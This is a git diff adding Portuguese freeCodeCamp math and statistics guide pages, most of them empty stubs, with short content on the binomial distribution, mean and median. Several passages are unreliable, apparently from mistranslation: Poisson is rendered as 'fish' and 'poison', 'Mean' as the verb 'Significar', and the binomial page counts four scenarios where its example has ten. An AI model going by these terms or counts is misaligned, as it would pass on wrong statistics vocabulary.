+title: Standard Deviation and Variance
+localeTitle: Desvio Padrão e Variação
+---
+## Desvio Padrão e Variação
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/standard-deviation-and-variance/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/standard-deviation-formulas/index.md b/client/src/guide/portuguese/mathematics/standard-deviation-formulas/index.md
new file mode 100644
index 0000000000..2c2133ef56
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/standard-deviation-formulas/index.md
@@ -0,0 +1,11 @@
+---
+title: Standard Deviation Formulas
+localeTitle: Fórmulas de Desvio Padrão
+---
+## Fórmulas de Desvio Padrão
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/standard-deviation-formulas/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/standard-deviation/index.md b/client/src/guide/portuguese/mathematics/standard-deviation/index.md
new file mode 100644
index 0000000000..876601e13a
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/standard-deviation/index.md
@@ -0,0 +1,11 @@
+---
+title: Standard Deviation
+localeTitle: Desvio padrão
+---
+## Desvio padrão
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/standard-deviation/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/standard-form/index.md b/client/src/guide/portuguese/mathematics/standard-form/index.md
new file mode 100644
index 0000000000..90f5fb9510
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/standard-form/index.md
@@ -0,0 +1,11 @@
+---
+title: Standard Form
+localeTitle: Forma padrão
+---
+## Forma padrão
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/standard-form/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/standard-normal-distribution-table/index.md b/client/src/guide/portuguese/mathematics/standard-normal-distribution-table/index.md
new file mode 100644
index 0000000000..c0ee481290
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/standard-normal-distribution-table/index.md
@@ -0,0 +1,11 @@
+---
+title: Standard Normal Distribution Table
+localeTitle: Tabela de distribuição normal padrão
+---
+## Tabela de distribuição normal padrão
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/standard-normal-distribution-table/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/statistics/analysis-of-variance/index.md b/client/src/guide/portuguese/mathematics/statistics/analysis-of-variance/index.md
new file mode 100644
index 0000000000..5663dc5413
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/statistics/analysis-of-variance/index.md
@@ -0,0 +1,11 @@
+---
+title: Analysis of Variance
+localeTitle: Análise de variação
+---
+## Análise de variação
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/statistics/analysis-of-variance/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/statistics/bayes-theorem/index.md b/client/src/guide/portuguese/mathematics/statistics/bayes-theorem/index.md
new file mode 100644
index 0000000000..cb98a597bd
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/statistics/bayes-theorem/index.md
@@ -0,0 +1,11 @@
+---
+title: Bayes Theorem
+localeTitle: Teorema de Bayes
+---
+## Teorema de Bayes
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/statistics/bayes-theorem/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/statistics/bayesian-statistics/index.md b/client/src/guide/portuguese/mathematics/statistics/bayesian-statistics/index.md
new file mode 100644
index 0000000000..a17b44262a
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/statistics/bayesian-statistics/index.md
@@ -0,0 +1,11 @@
+---
+title: Bayesian Statistics
+localeTitle: Estatística Bayesiana
+---
+## Estatística Bayesiana
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/statistics/bayesian-statistics/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/statistics/binomial-distribution/index.md b/client/src/guide/portuguese/mathematics/statistics/binomial-distribution/index.md
new file mode 100644
index 0000000000..6320ac4892
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/statistics/binomial-distribution/index.md
@@ -0,0 +1,62 @@
+---
+title: Binomial Distribution
+localeTitle: Distribuição binomial
+---
+## Distribuição binomial
+
+A distribuição binomial descreve a probabilidade de ter exatamente `k` sucessos em `n` tentativas independentes de Bernoulli com probabilidade de sucesso `p` .
+
+Existem quatro condições que devem ser satisfeitas antes que possamos usar a distribuição binomail.
+
+1.  Os ensaios são independentes.
+2.  O número de tentativas, `n` , é fixo.
+3.  Cada resultado do estudo pode ser classificado como um sucesso ou um fracasso.
+4.  A probabilidade de sucesso, `p` , é a mesma para cada tentativa.
+
+### Exemplo
+
+Considere uma experiência de jogar uma moeda justa 10 vezes. Deixe o resultado de um "Heads" ser sucesso e resultado de "Tails" um fracasso.
+
+1.  Jogar uma moeda é uma tentativa do experimento e cada vez que lançamos uma moeda, o resultado obtido é independente do resultado de qualquer outra tentativa.
+2.  Estamos jogando a moeda 10 vezes (um valor fixo de `n` ).
+3.  Nós decidimos considerar "Heads" como um sucesso e "Tails" como um fracasso.
+4.  A probabilidade de obter uma cabeça com uma moeda justa é de 0,5 e isso é o mesmo em cada tentativa.
+
+Todas as quatro condições são satisfeitas, portanto, podemos modelar essa experiência usando a distribuição Binomial.
+
+Vamos encontrar a probabilidade de obter um Heads exatamente uma vez, ou seja, 1 sucesso.
+
+Há 10 lançamentos e qualquer um poderia ter resultado em um resultado de Heads, e cada um desses 10 cenários tem a mesma probabilidade. Assim, a probabilidade final pode ser escrita como: `[# Number of Scenarios] x P(single scenario)`
+
+O primeiro componente da equação acima é o número de maneiras de organizar `k = 1` sucessos entre `n = 10` tentativas. O segundo componente é a probabilidade de qualquer um dos quatro (igualmente prováveis) cenários.
+
+Considere `P(Single Scenario)` sob o caso geral de `k` sucessos e `n - k` falhas em `n` tentativas. Para encontrar o valor, use a regra de multiplicação para eventos independentes:
+
+![](https://i.imgur.com/YXzUPiB.png)
+
+O número de maneiras de obter `k` sucessos de `n` tentativas pode ser escrito como **n escolha k** :
+
+![](https://i.imgur.com/AQ3P4vi.png)
+
+Assim, a fórmula geral para obter a probabilidade de observar exatamente `k` sucessos em `n` ensaios independentes é dada por:
+
+![](https://i.imgur.com/ZErXKtQ.png)
+
+Assim, a probabilidade de obter exatamente um Heads em testes é:
+
+![](https://i.imgur.com/fN5wOH2.png)
+
+### Média e variância
+
+A média de uma distribuição binomial com `n` tentativas em que `p` é a probabilidade de um sucesso é dada por:
+
+![](https://i.imgur.com/4ji7JXx.png)
+
+e variância:
+
+![](https://i.imgur.com/1tPHKHj.png)
+
+#### Mais Informações:
+
+*   [OpenIntro Statistics 3rd Edition (Capítulo 3 - página 145)](https://www.openintro.org/stat/textbook.php?stat_book=os)
+*   [Derivando Média e Variância de uma Distribuição Binomial](https://www.youtube.com/watch?v=8fqkQRjcR1M)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/statistics/exponential-distribution/index.md b/client/src/guide/portuguese/mathematics/statistics/exponential-distribution/index.md
new file mode 100644
index 0000000000..300bbe5d5b
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/statistics/exponential-distribution/index.md
@@ -0,0 +1,11 @@
+---
+title: Exponential Distribution
+localeTitle: Distribuição Exponencial
+---
+## Distribuição Exponencial
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/statistics/exponential-distribution/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/statistics/how-to-calculate-percentiles/index.md b/client/src/guide/portuguese/mathematics/statistics/how-to-calculate-percentiles/index.md
new file mode 100644
index 0000000000..df2f7b2689
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/statistics/how-to-calculate-percentiles/index.md
@@ -0,0 +1,11 @@
+---
+title: How to Calculate Percentiles
+localeTitle: Como calcular percentis
+---
+## Como calcular percentis
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/statistics/how-to-calculate-percentiles/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/statistics/hypothesis/index.md b/client/src/guide/portuguese/mathematics/statistics/hypothesis/index.md
new file mode 100644
index 0000000000..13ecfa7d47
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/statistics/hypothesis/index.md
@@ -0,0 +1,11 @@
+---
+title: Hypothesis
+localeTitle: Hipótese
+---
+## Hipótese
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/statistics/hypothesis/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/statistics/index.md b/client/src/guide/portuguese/mathematics/statistics/index.md
new file mode 100644
index 0000000000..c4fdeaebd1
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/statistics/index.md
@@ -0,0 +1,11 @@
+---
+title: Statistics
+localeTitle: Estatisticas
+---
+## Estatisticas
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/statistics/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/statistics/k-means/index.md b/client/src/guide/portuguese/mathematics/statistics/k-means/index.md
new file mode 100644
index 0000000000..ff3012beab
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/statistics/k-means/index.md
@@ -0,0 +1,11 @@
+---
+title: K Means
+localeTitle: K significa
+---
+## K significa
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/statistics/k-means/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/statistics/markov-chains/index.md b/client/src/guide/portuguese/mathematics/statistics/markov-chains/index.md
new file mode 100644
index 0000000000..5f1dc94a6e
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/statistics/markov-chains/index.md
@@ -0,0 +1,11 @@
+---
+title: Markov Chains
+localeTitle: Cadeias de Markov
+---
+## Cadeias de Markov
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/statistics/markov-chains/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/statistics/mean/index.md b/client/src/guide/portuguese/mathematics/statistics/mean/index.md
new file mode 100644
index 0000000000..72faff77c3
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/statistics/mean/index.md
@@ -0,0 +1,41 @@
+---
+title: Mean
+localeTitle: Significar
+---
+## Significar
+
+A medida mais comum de tendência central, ou um valor usado para descrever um conjunto de números, é a média aritmética, ou média. Para encontrar a média ( _A_ ) de um conjunto de números, adicione seus valores e divida pelo número de valores ( _n_ ).
+
+![Fórmula Média](https://wikimedia.org/api/rest_v1/media/math/render/svg/90330653b40adf032ea8e144f84d7eec1a88054d)
+
+### Exemplos
+
+*   **1, 4, 5, 2, 3**
+    
+    (1 + 4 + 5 + 2 +3) / 5 = 3
+    
+*   **20, 14, 23**
+    
+    (20 + 14 + 23) / 3 = 19
+    
+*   **\-12, -20, -16, -21**
+    
+    (-12, -20, -16, -21) / 4 = -17,25 \\
+    
+
+A média pode ser uma ótima maneira de descrever um conjunto de números. No entanto, é importante perceber que um valor que é muito maior ou menor que os outros valores, referido como um outlier, no conjunto pode fazer com que a média represente incorretamente o conjunto de números. Por exemplo, se você tiver um conjunto de números composto principalmente de números pequenos que contenham um número grande, a média será maior que a maioria dos números, retratando erroneamente o conjunto de números como sendo maior do que eles realmente são.
+
+### Exemplos
+
+*   **2, 7, -3, 1, 0, 2, 857**
+    
+    (2 + 7 + (-3) + 1 + 0 + 2 + 857) / 7 = 123,71
+    
+*   **1276, 1141, 1271, 1053, 1**
+    
+    (1276 + 1141 + 1271 + 1053 + 1) / 5 = 948,4
+    
+
+#### Mais Informações:
+
+*   ![Mean](http://www.purplemath.com/modules/meanmode.htm "Significar")
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/statistics/median/index.md b/client/src/guide/portuguese/mathematics/statistics/median/index.md
new file mode 100644
index 0000000000..f755ad096c
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/statistics/median/index.md
@@ -0,0 +1,21 @@
+---
+title: Median
+localeTitle: Mediana
+---
+## Mediana
+
+#### Definição:
+
+A mediana é uma das medidas de tendência central de um conjunto de dados. Para encontrar a mediana, organizamos as observações na ordem do menor para o maior valor. Se houver um número ímpar de observações, a mediana é o valor do meio. Se houver um número par de observações, a mediana é a média (média) dos dois valores intermediários.
+
+#### Exemplo 1:
+
+No conjunto de dados \[3, 4, 8, 6, 34, 22, 5\], para encontrar a mediana, classificamos o conjunto para \[3, 4, 5, 6, 8, 22, 34\]. O valor médio, ou seja, 6 é a mediana.
+
+#### xample 1:
+
+No conjunto de dados \[3, 4, 8, 6, 22, 5\], para encontrar a mediana, classificamos o conjunto para \[3, 4, 5, 6, 8, 22\]. A média de 5 e 6, ou seja, 5,5 é a mediana.
+
+#### Mais Informações:
+
+Uma revisão mais detalhada e rigorosa pode ser encontrada [aqui](https://en.wikipedia.org/wiki/Median)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/statistics/mode/index.md b/client/src/guide/portuguese/mathematics/statistics/mode/index.md
new file mode 100644
index 0000000000..d34fb19f63
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/statistics/mode/index.md
@@ -0,0 +1,11 @@
+---
+title: Mode
+localeTitle: Modo
+---
+## Modo
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/statistics/mode/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/statistics/normal-distribution/index.md b/client/src/guide/portuguese/mathematics/statistics/normal-distribution/index.md
new file mode 100644
index 0000000000..5a08974de1
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/statistics/normal-distribution/index.md
@@ -0,0 +1,11 @@
+---
+title: Normal Distribution
+localeTitle: Distribuição normal
+---
+## Distribuição normal
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/statistics/normal-distribution/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/statistics/p-value/index.md b/client/src/guide/portuguese/mathematics/statistics/p-value/index.md
new file mode 100644
index 0000000000..aab584e424
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/statistics/p-value/index.md
@@ -0,0 +1,11 @@
+---
+title: P Value
+localeTitle: Valor P
+---
+## Valor P
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/statistics/p-value/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/statistics/poisson-distribution/index.md b/client/src/guide/portuguese/mathematics/statistics/poisson-distribution/index.md
new file mode 100644
index 0000000000..dec334f518
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/statistics/poisson-distribution/index.md
@@ -0,0 +1,11 @@
+---
+title: Poisson Distribution
+localeTitle: Distribuição de peixe
+---
+## Distribuição de veneno
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/statistics/poisson-distribution/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/statistics/probability-distribution/index.md b/client/src/guide/portuguese/mathematics/statistics/probability-distribution/index.md
new file mode 100644
index 0000000000..6f8b32b414
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/statistics/probability-distribution/index.md
@@ -0,0 +1,11 @@
+---
+title: Probability Distribution
+localeTitle: Distribuição de probabilidade
+---
+## Distribuição de probabilidade
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/statistics/probability-distribution/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/statistics/probability/index.md b/client/src/guide/portuguese/mathematics/statistics/probability/index.md
new file mode 100644
index 0000000000..d14c6b2f85
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/statistics/probability/index.md
@@ -0,0 +1,11 @@
+---
+title: Probability
+localeTitle: Probabilidade
+---
+## Probabilidade
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/statistics/probability/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/statistics/random-sampling/index.md b/client/src/guide/portuguese/mathematics/statistics/random-sampling/index.md
new file mode 100644
index 0000000000..c83a2135c7
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/statistics/random-sampling/index.md
@@ -0,0 +1,11 @@
+---
+title: Random Sampling
+localeTitle: Amostragem Aleatória
+---
+## Amostragem Aleatória
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/statistics/random-sampling/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/statistics/range/index.md b/client/src/guide/portuguese/mathematics/statistics/range/index.md
new file mode 100644
index 0000000000..f289badbfa
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/statistics/range/index.md
@@ -0,0 +1,11 @@
+---
+title: Range
+localeTitle: Alcance
+---
+## Alcance
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/statistics/range/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/statistics/regression/index.md b/client/src/guide/portuguese/mathematics/statistics/regression/index.md
new file mode 100644
index 0000000000..0536aae004
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/statistics/regression/index.md
@@ -0,0 +1,11 @@
+---
+title: Regression
+localeTitle: Regressão
+---
+## Regressão
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/statistics/regression/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/statistics/standard-deviation/index.md b/client/src/guide/portuguese/mathematics/statistics/standard-deviation/index.md
new file mode 100644
index 0000000000..192479940c
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/statistics/standard-deviation/index.md
@@ -0,0 +1,11 @@
+---
+title: Standard Deviation
+localeTitle: Desvio padrão
+---
+## Desvio padrão
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/statistics/standard-deviation/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/statistics/t-test/index.md b/client/src/guide/portuguese/mathematics/statistics/t-test/index.md
new file mode 100644
index 0000000000..9e9d8ae926
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/statistics/t-test/index.md
@@ -0,0 +1,11 @@
+---
+title: T Test
+localeTitle: Teste T
+---
+## Teste T
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/statistics/t-test/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/statistics/variance/index.md b/client/src/guide/portuguese/mathematics/statistics/variance/index.md
new file mode 100644
index 0000000000..eb79ee449e
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/statistics/variance/index.md
@@ -0,0 +1,11 @@
+---
+title: Variance
+localeTitle: Variância
+---
+## Variância
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/statistics/variance/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/straight-line-equations-point-slope-form/index.md b/client/src/guide/portuguese/mathematics/straight-line-equations-point-slope-form/index.md
new file mode 100644
index 0000000000..ab18147c26
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/straight-line-equations-point-slope-form/index.md
@@ -0,0 +1,11 @@
+---
+title: Straight Line Equations Point Slope Form
+localeTitle: Formulário de inclinação de ponto de equações de linha reta
+---
+## Formulário de inclinação de ponto de equações de linha reta
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/straight-line-equations-point-slope-form/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/straight-line-equations-slope-intercept-form/index.md b/client/src/guide/portuguese/mathematics/straight-line-equations-slope-intercept-form/index.md
new file mode 100644
index 0000000000..aa59d5403f
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/straight-line-equations-slope-intercept-form/index.md
@@ -0,0 +1,11 @@
+---
+title: Straight Line Equations Slope Intercept Form
+localeTitle: Formulário de interceptação de inclinação de equações de linha reta
+---
+## Formulário de interceptação de inclinação de equações de linha reta
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/straight-line-equations-slope-intercept-form/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/subtracting-fractions-with-unlike-denominators/index.md b/client/src/guide/portuguese/mathematics/subtracting-fractions-with-unlike-denominators/index.md
new file mode 100644
index 0000000000..9d7b98d026
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/subtracting-fractions-with-unlike-denominators/index.md
@@ -0,0 +1,11 @@
+---
+title: Subtracting Fractions with Unlike Denominators
+localeTitle: Subtraindo Frações com Diferentes Denominadores
+---
+## Subtraindo Frações com Diferentes Denominadores
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/subtracting-fractions-with-unlike-denominators/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/subtracting-fractions/index.md b/client/src/guide/portuguese/mathematics/subtracting-fractions/index.md
new file mode 100644
index 0000000000..d499cd4221
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/subtracting-fractions/index.md
@@ -0,0 +1,11 @@
+---
+title: Subtracting Fractions
+localeTitle: Subtraindo Frações
+---
+## Subtraindo Frações
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/subtracting-fractions/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/sum-of-the-first-n-terms-of-a-series/index.md b/client/src/guide/portuguese/mathematics/sum-of-the-first-n-terms-of-a-series/index.md
new file mode 100644
index 0000000000..99bddbab1d
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/sum-of-the-first-n-terms-of-a-series/index.md
@@ -0,0 +1,11 @@
+---
+title: Sum of the First N Terms of a Series
+localeTitle: Soma dos primeiros N termos de uma série
+---
+## Soma dos primeiros N termos de uma série
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/sum-of-the-first-n-terms-of-a-series/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/summation-notation-for-sums/index.md b/client/src/guide/portuguese/mathematics/summation-notation-for-sums/index.md
new file mode 100644
index 0000000000..bc33871082
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/summation-notation-for-sums/index.md
@@ -0,0 +1,11 @@
+---
+title: Summation Notation for Sums
+localeTitle: Notação de soma para somas
+---
+## Notação de soma para somas
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/summation-notation-for-sums/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/mathematics/supplementary-angles/index.md b/client/src/guide/portuguese/mathematics/supplementary-angles/index.md
new file mode 100644
index 0000000000..3c6809ea7e
--- /dev/null
+++ b/client/src/guide/portuguese/mathematics/supplementary-angles/index.md
@@ -0,0 +1,19 @@
+---
+title: Supplementary Angles
+localeTitle: Ângulos suplementares
+---
+## Ângulos suplementares
+
+Dois ângulos que somam 180 ° são chamados de ângulos suplementares.
+
